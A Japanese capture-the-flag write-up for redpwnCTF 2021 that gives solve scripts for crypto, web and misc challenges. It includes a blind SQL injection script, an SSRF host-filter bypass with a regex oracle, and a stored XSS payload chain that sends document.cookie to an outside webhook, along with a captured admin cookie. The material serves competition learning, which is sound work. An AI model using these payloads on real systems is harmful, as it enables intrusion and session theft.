y011d4.log

redpwnCTF Writeup

Tue Jul 13 2021

    7/10-7/13 で開催していた redpwnCTF 2021 にソロで参加しました。結果は 27th/1418 (得点のあるチームのみカウント) でした。 問題数が多いので、 solve 数が 200 以下の問題についてのみ writeup を書きます。このようにフィルターすると、 pwn と rev は自明問しか解けなかったことがよくわかりますね…

    crypto

    blecc

    146 solves

    楕円曲線の問題。 FpF_p 上での楕円曲線 y2=x3+2x+3y^2 = x^3 + 2 x + 3 が与えられており、 Q=dGQ = dG となる dd を求める問題です。ただの離散対数問題ですね。

    GG の位数を求めると 2∗5∗11∗22303∗36209∗1965393072 * 5 * 11 * 22303 * 36209 * 196539307 となっており、 pohlig-hellman で解けることがわかります。 sagemath の discrete_log を使って雑に解きます。

    p = 17459102747413984477
a = 2
b = 3
G = (15579091807671783999, 4313814846862507155)
Q = (8859996588597792495, 2628834476186361781)


EC = EllipticCurve(GF(p), [a, b])
G = EC(G)
Q = EC(Q)
d = G.discrete_log(Q)
bytes.fromhex(f"{d:x}")

    flag{m1n1_3cc}

    yahtzee

    103 solves

    server.py
    #!/usr/local/bin/python

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from random import randint
from binascii import hexlify

with open('flag.txt','r') as f:
    flag = f.read().strip()

with open('keyfile','rb') as f:
    key = f.read()
    assert len(key)==32

'''
Pseudorandom number generators are weak!
True randomness comes from phyisical objects, like dice!
'''
class TrueRNG:

    @staticmethod
    def die():
        return randint(1, 6)

    @staticmethod
    def yahtzee(N):
        dice = [TrueRNG.die() for n in range(N)]
        return sum(dice)

    def __init__(self, num_dice):
        self.rolls = num_dice

    def next(self):
        return TrueRNG.yahtzee(self.rolls)

def encrypt(message, key, true_rng):
    nonce = true_rng.next()
    cipher = AES.new(key, AES.MODE_CTR, nonce = long_to_bytes(nonce))
    return cipher.encrypt(message)

'''
Stick the flag in a random quote!
'''
def random_message():
    NUM_QUOTES = 25
    quote_idx = randint(0,NUM_QUOTES-1)
    with open('quotes.txt','r') as f:
        for idx, line in enumerate(f):
            if idx == quote_idx:
                quote = line.strip().split()
                break
    quote.insert(randint(0, len(quote)), flag)
    return ' '.join(quote)

banner = '''
============================================================================
=            Welcome to the yahtzee message encryption service.            =
=  We use top-of-the-line TRUE random number generators... dice in a cup!  =
============================================================================
Would you like some samples?
'''
prompt = "Would you like some more samples, or are you ready to 'quit'?\n"

if __name__ == '__main__':
    NUM_DICE = 2
    true_rng = TrueRNG(NUM_DICE)
    inp      = input(banner)
    while 'quit' not in inp.lower():
        message = random_message().encode()
        encrypted = encrypt(message, key, true_rng)
        print('Ciphertext:', hexlify(encrypted).decode())
        inp = input(prompt)

    フラグの文字列を25種類ある引用文のどこかに挿入し、それを AES の CTR モードで暗号化します。 AES の key は固定で、 nonce は randint(1, 6) + randint(1, 6) がランダムに与えられます。

    探索空間は 25 x O(10) x 12 程度 (しかも nonce は6周辺になる確率が高い) ため、暗号文を何度か入手すると同じ引用文・同じ nonce でフラグの挿入箇所だけが違うものが手に入ることが期待できます。とりあえず暗号文を集めます。

    import re
import subprocess

from pwn import remote, xor

_r = remote("mc.ax", 31076)
ret = _r.recvline().strip().decode()
cmd = ret[ret.index("curl"):]
proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE)
_r.sendlineafter("solution: ", proc.stdout.strip())
enc_list = []
for i in range(1000):
    if i % 10 == 0:
        print(i)
    _r.sendlineafter("?\n", "")
    ret = _r.recvline().strip().decode()
    enc = re.findall(r"Ciphertext: (.*)", ret)[0]
    enc_list.append(enc)

    まず引用文の単語の数で引用文の種類を区別します。以下同じ単語数のもののみ考察します。えいやで決めた単語数 204 個のものを使います。

    暗号文の構造を考えると、 (quote_pre || flag || quote_post) + AES (ここで || は文字列の結合、 + は xor を表す) となっており、 flag の位置がそれぞれ違うというものになっています。 そのため2種類の暗号文の xor をとると、 00...00 || (flag + quote) || 00...00 という構造になるはずです。 flag の prefix が flag{ であることから、 (flag + quote) + "flag{" の計算で2種類のペアから quote の一部の5文字をリークさせることができます。

    それで現れた単語を適当にググると、 The question isnt who is going to let me; its who is going to stop me. という引用文であることがわかりました。 これと暗号文の xor を取ることで挿入された flag を入手することができました。

    flag{0h_W41t_ther3s_nO_3ntr0py}

    scrambled-elgs

    70 solves

    generator.sage
    #!/usr/bin/env sage
import secrets
import json
from Crypto.Util.number import bytes_to_long, long_to_bytes
from sage.combinat import permutation

n = 25_000
Sn = SymmetricGroup(n)

def pad(M):
    padding = long_to_bytes(secrets.randbelow(factorial(n)))
    padded = padding[:-len(M)] + M
    return bytes_to_long(padded)

#Prepare the flag
with open('flag.txt','r') as flag:
    M = flag.read().strip().encode()
m = Sn(permutation.from_rank(n,pad(M)))

#Scramble the elgs
g = Sn.random_element()
a = secrets.randbelow(int(g.order()))
h = g^a
pub = (g, h)

#Encrypt using scrambled elgs
g, h = pub
k = secrets.randbelow(n)
t1 = g^k
t2 = m*h^k
ct = (t1,t2)

#Provide public key and ciphertext
with open('output.json','w') as f:
	json.dump({'g':str(g),'h':str(h),'t1':str(t1),'t2':str(t2)}, f)

    対称群を用いた ElGamal 暗号 になっています。 h=gah = g^a となる aa を g,hg, h から求められれば、 t2t1−at_2 t_1^{-a} でフラグ (を対称群の元にしたもの) が得られます。

    対称群は当然群なので、位数を確認して pohlig-hellman が使えるか確認します。位数は 2^3 * 3 * 11 * 13 * 29 * 167 * 239 * 317 * 379 * 971 * 4211 となっており、使えそうです。

    sagemath の discrete_log は対称群に対応していないみたいだったので、自分で pohlig-hellman を書きました。

    solve.py
    import json
import secrets

from Crypto.Util.number import bytes_to_long, long_to_bytes

from sage.combinat import permutation
from sage.groups.generic import bsgs

n = int(25_000)
Sn = SymmetricGroup(n)

with open("./output.json") as f:
    output = json.load(f)

g = Sn(output["g"])
h = Sn(output["h"])
t1 = Sn(output["t1"])
t2 = Sn(output["t2"])

a_list = []
b_list = []
order = g.order()
for p, e in list(factor(g.order())):
    gi = g ** (order // p ^ e)
    hi = h ** (order // p ^ e)
    gamma = gi ** (p ** (e - 1))
    xk = 0
    for k in range(e):
        hk = (gi ** (-xk) * hi) ** (p ** (e - 1 - k))
        dk = bsgs(gamma, hk, (0, p - 1))
        xk = xk + p ** k * dk
    xi = xk
    a_list.append(xi)
    b_list.append(p ^ e)
a = crt(a_list, b_list)
assert g ** a == h
m = t2 * t1 ** (-a)


perm = Permutation(permutation.from_permutation_group_element(m))


def perm_to_num(perm):
    s = list(range(1, n + 1))
    ret = 0
    for i in range(n):
        order = s.index(perm[i])
        s.remove(perm[i])
        ret += order * factorial(n - i - 1)
    return ret


M = perm_to_num(perm)
print(long_to_bytes(M))

    flag{1_w1ll_n0t_34t_th3m_s4m_1_4m}

    Keeper of the Flag

    42 solves

    kotf.py
    #!/usr/local/bin/python3

from Crypto.Util.number import *
from Crypto.PublicKey import DSA
from random import *
from hashlib import sha1

rot = randint(2, 2 ** 160 - 1)
chop = getPrime(159)

def H(s):
    x = bytes_to_long(sha1(s).digest())
    return pow(x, rot, chop)


L, N = 1024, 160
dsakey = DSA.generate(1024)
p = dsakey.p
q = dsakey.q
h = randint(2, p - 2)
g = pow(h, (p - 1) // q, p)
if g == 1:
    print("oops")
    exit(1)

print(p)
print(q)
print(g)

x = randint(1, q - 1)
y = pow(g, x, p)

print(y)


def verify(r, s, m):
    if not (0 < r and r < q and 0 < s and s < q):
        return False
    w = pow(s, q - 2, q)
    u1 = (H(m) * w) % q
    u2 = (r * w) % q
    v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q
    return v == r


pad = randint(1, 2 ** 160)
signed = []
for i in range(2):
    print("what would you like me to sign? in hex, please")
    m = bytes.fromhex(input())
    if m == b'give flag' or m == b'give me all your money':
        print("haha nice try...")
        exit()
    if m in signed:
        print("i already signed that!")
        exit()
    signed.append(m)
    k = (H(m) + pad + i) % q
    if k < 1:
        exit()
    r = pow(g, k, p) % q
    if r == 0:
        exit()
    s = (pow(k, q - 2, q) * (H(m) + x * r)) % q
    if s == 0:
        exit()
    print(H(m))
    print(r)
    print(s)

print("ok im done for now")
print("you visit the flag keeper...")
print("for flag, you must bring me signed message:")
print("'give flag':" + str(H(b"give flag")))

r1 = int(input())
s1 = int(input())
if verify(r1, s1, b"give flag"):
    print(open("flag.txt").readline())
else:
    print("sorry")

    DSA の問題。 従来の DSA と違うのは、 kk がただの乱数ではないことと、 hash 関数に RSA のような処理をしていることです。こちらの指定した数値 (ただし重複はダメ) で2回署名を入手できます。その後に "give flag" の署名として valid な r,sr, s を送信できればフラグが得られます。

    kk がただの乱数ではないので xx を求める方法がないかを考えます。 ki=(H(mi)+pad+i)k_i = (H(m_i) + pad + i) を si=ki−1(H(mi)+xri)s_i = k_i^{-1} (H(m_i) + xr_i) に代入すると、

    H(mi)+pad+i=si−1(H(mi)+xri)H(m_i) + pad + i = s_i^{-1} (H(m_i) + xr_i)

    となります。 H(mi),si,riH(m_i), s_i, r_i が i=0,1i=0, 1 のケースで得られているため、 pad,xpad, x 2変数の連立合同方程式を解けばよいことがわかります。 i=1i=1 のものから i=0i=0 のものを引くと、

    H(m1)−H(m0)+1=s1−1H(m1)−s0−1H(m0)+(s1−1r1−s0−1r0)xx=(s1−1r1−s0−1r0)−1((1−s1−1)H(m1)−(1−s0−1)H(m0)+1)\begin{aligned} H(m_1) - H(m_0) + 1 &= s_1^{-1} H(m_1) - s_0^{-1} H(m_0) + (s_1^{-1}r_1 - s_0^{-1}r_0) x \\ x &= (s_1^{-1}r_1 - s_0^{-1}r_0)^{-1}\left((1 - s_1^{-1}) H(m_1) - (1 - s_0^{-1}) H(m_0) + 1\right) \end{aligned}

    となり、 xx が求まります。あとは DSA と同様の署名をするだけです (だけなのですが、自分は H("give flag") が与えられていることに気づかず、ここからかなりの時間を溶かしてしまいました…)。

    solve.py
    import subprocess
from hashlib import sha1

from pwn import remote


_r = remote("mc.ax", 31538)

ret = _r.recvline().strip().decode()
cmd = ret[ret.index("curl") :]
proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE)
_r.sendlineafter("solution: ", proc.stdout.strip())


def recv_int():
    return int(_r.recvline().strip())


p = recv_int()
q = recv_int()
g = recv_int()
y = recv_int()

_r.sendlineafter("what would you like me to sign? in hex, please\n", "00")
Hm0 = recv_int()
r0 = recv_int()
s0 = recv_int()
_r.sendlineafter("what would you like me to sign? in hex, please\n", "01")
Hm1 = recv_int()
r1 = recv_int()
s1 = recv_int()

s0_inv = pow(s0, -1, q)
s1_inv = pow(s1, -1, q)

pred_x = (
    pow(s1_inv * r1 - s0_inv * r0, -1, q)
    * ((1 - s1_inv) * Hm1 - (1 - s0_inv) * Hm0 + 1)
    % q
)

_r.recvuntil("'give flag':")
Hm = recv_int()
k = 1
r = pow(g, k, p) % q
s = (pow(k, -1, q) * (Hm + pred_x * r)) % q

_r.sendline(str(r))
_r.sendline(str(s))
print(_r.recvall())

    flag{here_it_is_a8036d2f57ec7cecf8acc2fe6d330a71}

    quaternion-revenge

    29 solves

    これはただのバグ報告になってしまうのですが、 i と入力するだけで通ってしまいました… 手元環境では再現しないし、なぜこれが通るのかわからない…

    flag{00p5_1_l13d_r0fl}

    web

    cool

    125 solves

    SQLi の問題。脆弱性はここ。

    app.py
    def create_user(username, password):
    if any(c not in allowed_characters for c in username):
        return (False, 'Alphanumeric usernames only, please.')
    if len(username) < 1:
        return (False, 'Username is too short.')
    if len(password) > 50:
        return (False, 'Password is too long.')
    other_users = execute(
        f'SELECT * FROM users WHERE username=\'{username}\';'
    )
    if len(other_users) > 0:
        return (False, 'Username taken.')
    execute(
        'INSERT INTO users (username, password)'
        f'VALUES (\'{username}\', \'{password}\');'
    )
    return (True, '')

    username は文字種のチェックがされていますが、 password はされていません。最後の INSERT 文で password を介して SQLi ができそうです。

    方針としては password='||(SELECT SUBSTR(password,1,1) FROM users)||' とすることで、 admin のパスワードの1文字目をパスワードに設定することができます ( LIMIT 句なしでもよしなにやってくれるんですね)。 このパスワードでユーザー登録をし、brute force でログインを試すことで1文字ずつリークさせることができます。

    solve.py
    import random
import requests


allowed_characters = list(
    "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"
)

register_url = "https://cool.mc.ax/register"
login_url = "https://cool.mc.ax/"
logout_url = "https://cool.mc.ax/logout"
message_url = "https://cool.mc.ax/message"
with requests.Session() as s:
    admin_password = ""
    for i in range(1, 1+32):
        username = "".join(random.choice(list(allowed_characters)) for _ in range(32))
        password = f"'||(SELECT SUBSTR(password,{i},1) FROM users)||'"
        print(username, password)
        r = s.post(register_url, data={"username": username, "password": password})
        s.get(logout_url)
        for c in allowed_characters:
            print(c)
            r = s.post(login_url, data={"username": username, "password": c})
            if "Unfortunately" in r.text:
                admin_password += c
                print(admin_password)
                break
        else:
            print("end")
            break
    r = s.post(login_url, data={"username": "ginkoid", "password": admin_password})
    r = s.get(message_url)
    with open("./flag.mp3", "wb") as f:
        f.write(r.content)

    これで得られた flag.mp3 をエディタで開くと最後の部分にフラグが書かれていました。

    flag{44r0n_s4ys_s08r137y_1s_c00l}

    Requester

    41 solves

    SSRF の問題。 /testAPI を使うことで couchdb にアクセスできることが期待されます。 例えば https://requester.mc.ax/createUser?username=hogetaro&password=fugataro&method=GET とすることで hogetaro:fugataro という username, password でユーザー登録ができました。

    jar ファイルが与えられているので JD-GUI でデコンパイルして解析します。 脆弱性はここ。

      public static void testAPI(Context ctx) {
    String url = (String)ctx.queryParam("url", String.class).get();
    String method = (String)ctx.queryParam("method", String.class).get();
    String data = ctx.queryParam("data");
    try {
      URL urlURI = new URL(url);
      if (urlURI.getHost().contains("couchdb"))
        throw new ForbiddenResponse("Illegal!"); 
    } catch (MalformedURLException e) {
      throw new BadRequestResponse("Input URL is malformed");
    } 
    try {
      if (method.equals("GET")) {
        JSONObject jsonObj = HttpClient.getAPI(url);
        String str = jsonObj.toString();
      } else if (method.equals("POST")) {
        JSONObject jsonObj = HttpClient.postAPI(url, data);
        String stringJsonObj = jsonObj.toString();
        if (Utils.containsFlag(stringJsonObj))
          throw new ForbiddenResponse("Illegal!"); 
      } else {
        throw new BadRequestResponse("Request method is not accepted");
      } 
    } catch (Exception e) {
      throw new InternalServerErrorResponse("Something went wrong");
    } 
    ctx.result("success");
  }
}

    ホスト名に couchdb という文字列が入っていると弾く処理があるのですが、 COUCHDB とすることでこの処理を回避することができます。 これで couchdb に対していろいろな query を投げることができます。

    https://docs.couchdb.org/en/latest/api/database/find.html を参考に、 hogetaro/_find に対して flag が ^flag{ (正規表現) となっているものを取ってくる query を作り、投げました。 もし存在していればフラグの入った json が返されますが、上記ソースコードの Utils.containsFlag(stringJsonObj) の部分で弾かれる処理がなされます。もし存在していなければ普通に success が返ってきます。 そのため正規表現を使って前から1文字ずつフラグを特定させていくことができます。

    solve.py
    import requests

# https://requester.mc.ax/createUser?username=hogetaro&password=fugataro
query_url_template = "https://requester.mc.ax/testAPI?url=http://hogetaro:[email protected]:5984/hogetaro/_find&method=POST&data={{%22selector%22:{{%22flag%22:{{%22$regex%22:%22^{query_flag}%22}}}},%22fields%22:[%22_id%22,%22_rev%22,%22flag%22]}}"

escaped = '"#$%&()*+/?[\\]^|.'

flag = ""
for _ in range(100):
    for i in range(32, 128)[::-1]:
        c = chr(i)
        if c in escaped:
            continue
        print(c)
        query_url = query_url_template.format(query_flag=flag + c)
        r = requests.get(query_url)
        if "Something went wrong" == r.text:
            flag += c
            print(flag)
            break
    else:
        print("done")
        break

    flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}

    requester-strikes-back

    19 solves

    Requester とほぼ同じ問題。 couchdb の case 問題に修正入っています。

        try {
      URL urlURI = new URL(url);
      if (urlURI.getHost().toLowerCase().contains("couchdb"))
        throw new ForbiddenResponse("Illegal!"); 
      String urlDecoded = URLDecoder.decode(url, StandardCharsets.UTF_8);
      urlURI = new URL(urlDecoded);
      if (urlURI.getHost().toLowerCase().contains("couchdb"))
        throw new ForbiddenResponse("Illegal!"); 
    } catch (MalformedURLException e) {
      throw new BadRequestResponse("Input URL is malformed");
    }

    前問との違いはここだけっぽい (真面目に diff を取ったわけではないですが) ので、ここを何とかすることに注力します (逆に diff 見るだけで前問の脆弱性は一瞬でわかってしまいますね…)。

    結論だけいうと、 http://hogetaro:[email protected]:5984@/ のように最後に余分な @ をつけることで回避することができました。検証はしていないですが getHost() の結果が空になるのだと思います。 あとは前問と同様の script を動かすことでフラグを入手できました。

    solve.py
    import requests

# https://requester-strikes-back.mc.ax/createUser?username=hogetaro&password=fugataro
query_url_template = "https://requester-strikes-back.mc.ax/testAPI?url=http://hogetaro:[email protected]:5984@/hogetaro/_find&method=POST&data={{%22selector%22:{{%22flag%22:{{%22$regex%22:%22^{query_flag}%22}}}},%22fields%22:[%22_id%22,%22_rev%22,%22flag%22]}}"

escaped = '"#$%&()*+/?[\\]^|.'

flag = ""
for _ in range(100):
    for i in range(32, 128)[::-1]:
        c = chr(i)
        if c in escaped:
            continue
        print(c)
        query_url = query_url_template.format(query_flag=flag + c)
        r = requests.get(query_url)
        if "Something went wrong" == r.text:
            flag += c
            print(flag)
            break
    else:
        print("done")
        break

    flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}

    misc

    annaBEL-lee

    134 solves

    nc mc.ax 31845 をしても標準出力には何も表示されません。とりあえずファイルに書き込んでみると、 \x07 と \x00 の2文字からなる文字列が返されていました。

    \x07 がベルを表す制御コードであることや問題文から、モールス信号ではないかと guess しました。 モールス信号だと思って文字列を見ると、 \x07\x07\x07 が - で \x07 が . で \x00 がそれらの区切りを表しているように見えます。 この方針で decode してみたらフラグが得られました。

    solve.py
    with open("./tmp", "rb") as f:
    enc_bin = f.read()

char_to_morse = {
    "A": ".-",
    "B": "-...",
    "C": "-.-.",
    "D": "-..",
    "E": ".",
    "F": "..-.",
    "G": "--.",
    "H": "....",
    "I": "..",
    "J": ".---",
    "K": "-.-",
    "L": ".-..",
    "M": "--",
    "N": "-.",
    "O": "---",
    "P": ".--.",
    "Q": "--.-",
    "R": ".-.",
    "S": "...",
    "T": "-",
    "U": "..-",
    "V": "...-",
    "W": ".--",
    "X": "-..-",
    "Y": "-.--",
    "Z": "--..",
    "1": ".----",
    "2": "..---",
    "3": "...--",
    "4": "....-",
    "5": ".....",
    "6": "-....",
    "7": "--...",
    "8": "---..",
    "9": "----.",
    "0": "-----",
    ",": "--..--",
    ".": ".-.-.-",
    "?": "..--..",
    "/": "-..-.",
    "-": "-....-",
    "(": "-.--.",
    ")": "-.--.-",
}

morse_to_char = {v: k for k, v in char_to_morse.items()}


def decrypt(enc):
    msg = ""
    for morse in enc.split():
        if morse in morse_to_char.keys():
            msg += morse_to_char[morse]
        else:
            msg += morse
    return msg


enc = (
    enc_bin.replace(b"\x07\x07\x07", b"-")
    .replace(b"\x07", b".")
    .replace(b"\x00\x00\x00", b" ")
    .replace(b"\x00", b"")
    .decode()
)
print(decrypt(enc))
print(decrypt(enc).lower().replace("(", "{").replace(")", "}"))

    flag{d1ng-d0n9-g0es-th3-anna-b3l}

    復習

    ここから先は競技終了後にいろいろ調べながら書いたものとなります。

    crypto

    quaternion-revenge

    29 solves

    適当に送ってしまったペイロードでフラグを得てしまったので復習しました。

    まずなぜ i というペイロードで通ってしまったのかを確認しました。 https://github.com/redpwn/redpwnctf-2021-challenges/blob/master/crypto/quaternion-revenge/Dockerfile#L1 を見ると sagemath/sagemath:9.0-py3 のバージョンが使われているっぽいので、この image 下で試します。

    docker run -it sagemath/sagemath:9.0-py3 "sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**512+1,-2**512+1);print(i==2**512-1)'"
True

docker run -it sagemath/sagemath:9.0-py3 "sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**32+1,-2**32+1);print(i==2**32-1)'"
False

    大きい整数を使ったときにこういうことが生じるっぽいです。

    この挙動は手元の version 9.3 では再現しません。

    sage -v
SageMath version 9.3, Release Date: 2021-05-09

sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**512+1,-2**512+1);print(i==2**512-1)'
False

    あとは想定解は何なのかという疑問が残りますが、 discord のやり取りを見ているとこの挙動を特定するのが想定解っぽい…？ だったらバージョンを明記してほしかったな…

    retrosign

    26 solves

    D,k,ND, k, N が与えられたときに x2−Dy2=kmod  Nx^2 - Dy^2 = k \mod N を満たす整数 x,yx, y を求める問題は古くから知られているようです。暗号の関係でいうと、Ong-Schnorr-Shamir digital signature というのに使われていたらしいです。 また CTF でも何度か出題されたことがあるらしい。このような条件下でなぜググっても見つけることができなかったのか… ("conics rational integer point" みたいな検索ワードでずっと調べていたから…)

    アルゴリズムは https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.7.9765&rep=rep1&type=pdf がまとまっていてわかりやすかったです。これを追実装して解きました。

    pollard.sage
    def lemma(r, D, m):
    """Transform r^2 = D mod m into u^2 - Dv^2 = lm"""
    assert (r ** 2 - D) % m == 0
    xs = [r]
    ms = [m]
    while True:
        tmp_m = (xs[-1] ** 2 - D) // ms[-1]
        if tmp_m <= int(sqrt(4 * abs(D) / 3)):
            break
        tmp_x = xs[-1] % tmp_m
        ms.append(tmp_m)
        xs.append(tmp_x)

    _lambda = tmp_m
    As = [0, 1]
    for i in range(1, len(xs))[::-1]:
        assert (xs[i-1] - xs[i]) % ms[i] == 0
        tmp_A = As[-2] + (xs[i-1] - xs[i]) // ms[i] * As[-1]
        As.append(tmp_A)
    u = As[-1] * xs[0] - As[-2] * ms[0]
    v = As[-1]

    assert u ** 2 - D * v ** 2 == _lambda * m
    return u, v, _lambda


def pollard(D, k, N):
    """solve x, y such that x^2 - Dy^2 = k mod N"""
    print(D, k, N)
    if D == 0 or k == 0:
        raise ValueError
    elif N % 2 == 0:
        raise NotImplementedError
    elif gcd(k, N) != 1 or gcd(D, N) != 1:
        raise NotImplementedError

    elif isqrt(abs(D)) ** 2 == abs(D):
        if D >= 0:
            b = isqrt(D)
            c = int((k + 1) * pow(2, -1, N))
            d = int((k - 1) * pow(2, -1, N))
            assert (c ** 2 - d ** 2) % N == k % N
        else:
            b = -isqrt(-D)
            p = k
            while True:
                if p % 4 == 1 and is_prime(p):
                    break
                p += N
            c, d = GaussianIntegers()(p).factor()[0][0]
            c, d = int(c), int(d)
            assert (c ** 2 + d ** 2) % N == k % N
        x = c
        y = int(d * pow(b, -1, N))
    elif abs(k) < abs(D):
        c, d = pollard(k, D, N)
        print(c, d)
        x = int(c * pow(d, -1, N))
        y = int(pow(d, -1, N))
    else:
        p = k
        while True:
            if p > 0 and is_prime(p) and kronecker(D, p) != -1:
                break
            p += N

        t = int(Zmod(p)(D).sqrt())
        u, v, _lambda = lemma(t, D, p)
        w, z = pollard(D, _lambda, N)
        y = int((u * z - v * w) * pow(D * z ** 2 - w ** 2, -1, N))
        x = int((v - y * w) * pow(z, -1, N))
    assert (x ** 2 - D * y ** 2) % N == k % N
    return x, y
    solve.sage
    import re
import subprocess
from hashlib import sha256

from pwn import remote

_r = remote("mc.ax", 31079)
ret = _r.recvline().strip().decode()
cmd = ret[ret.index("curl"):]
proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE)
_r.sendlineafter("solution: ", proc.stdout.strip())

_r.recvuntil("The following configuration is in place:\n")
n = int(re.findall(r"n = (.*);", _r.recvline().strip().decode())[0])
k = int(re.findall(r"k = (.*);", _r.recvline().strip().decode())[0])

cmd = b"sice_deets"
t = int(sha256(cmd).hexdigest(), 16)
a, b = pollard(-k, t, n)
sig = f"{a:0256x}{b:0256x}"
_r.sendlineafter(">>> ", cmd.decode())
_r.sendlineafter("$$$ ", sig)
print(_r.recvall())

    flag{w0w_th4t_s1gn4tur3_w4s_pr3tty_r3tr0}

    web

    notes

    32 solves

    脆弱性はここ。

    public/static/view/index.js
    (async () => {
  const request = await fetch(`/api/notes/${user}`);
  const notes = await request.json();

  const renderedNotes = [];
  for (const note of notes) {
    // this one is controlled by user, so prevent xss
    const body = note.body
      .replaceAll('<', '&lt;')
      .replaceAll('>', '&gt;')
      .replaceAll('"', '&quot;')
      .replaceAll('\'', '&#39;');
    // this one isn't, but make sure it fits on page
    const tag =
      note.tag.length > 10 ? note.tag.substring(0, 7) + '...' : note.tag;
    // render templates and put them in our array
    const rendered = populateTemplate(template, { body, tag });
    renderedNotes.push(rendered);
  }

  container.innerHTML += renderedNotes.join('');
})();

    body のほうはサニタイズが行われていますが、 tag では行われていません。 問題は、各 note で tag は10文字以下にしないといけないので、何かしら工夫が必要です。

    まず試したのは、

    {"body": "", "tag": "<script>`"}
{"body": "`;SOME_SCRIPT;`", "tag": "`</script>"}

    というペイロードで、 ` を使って note 間の html をコメントアウトする方法でした。 しかしこれは動きません。 innerHTML に直接追加された script は動かないみたいです。 https://developer.mozilla.org/ja/docs/Web/API/Element/innerHTML#security_considerations

    なので <img src=x onerror=SOME_SCRIPT> のようなペイロードにする必要があります。 しかし、

    {"body": "", "tag": "<img src='"}
{"body": "", "tag": "'onerror=`"}
{"body": "`;SOME_SCRIPT;`", "tag": "`>"}

    のようにしても、 note 間の html によって勝手に <img> タグが閉じられるような挙動になってしまい、うまく動きません。

    競技中はここで力が尽きました。

    @st98_ さんの Writeup では、

    {"body": "a", "tag": "<style a='"}
{"body": "a", "tag": "'onload='`"}
{"body": "${navigator.sendBeacon(`https://webhook.site/…`,document.cookie)}", "tag": "`'></style>"}

    という <style> を使った方法が取り上げられていました。 onerror より1文字減ったため onload 以降を '' で囲むことができています。これのおかげでタグが勝手に閉じられない…？

    このあたりの挙動はいろいろ試して覚えていくのがいいんですかね、精進不足…

    solve.py
    import requests

url = "https://notes.mc.ax/api/notes"
cookies = {"username": "hogehoge.sm3p%2BagZCVM8E%2FcZDIi0Huw7uzhw0SJhBLC2nGkjtow"}

payload_list = [
    {"body": "", "tag": "<style a='"},
    {"body": "", "tag": "'onload='`"},
    {
        "body": "`;document.location=`MY_URL?q=${document.cookie}`;`",
        "tag": "`'></style>",
    },
]

for payload in payload_list:
    r = requests.post(url, cookies=cookies, json=payload)

    これを実行したあとに admin に踏ませることで、 admin の cookie が admin.uPoq5EHI5BXHy3ifvT25/ds2M3JH2JwsZJPpN0Vn1s8 であることがわかります。 この cookie を使って admin のページを見ることでフラグが得られました。

    flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}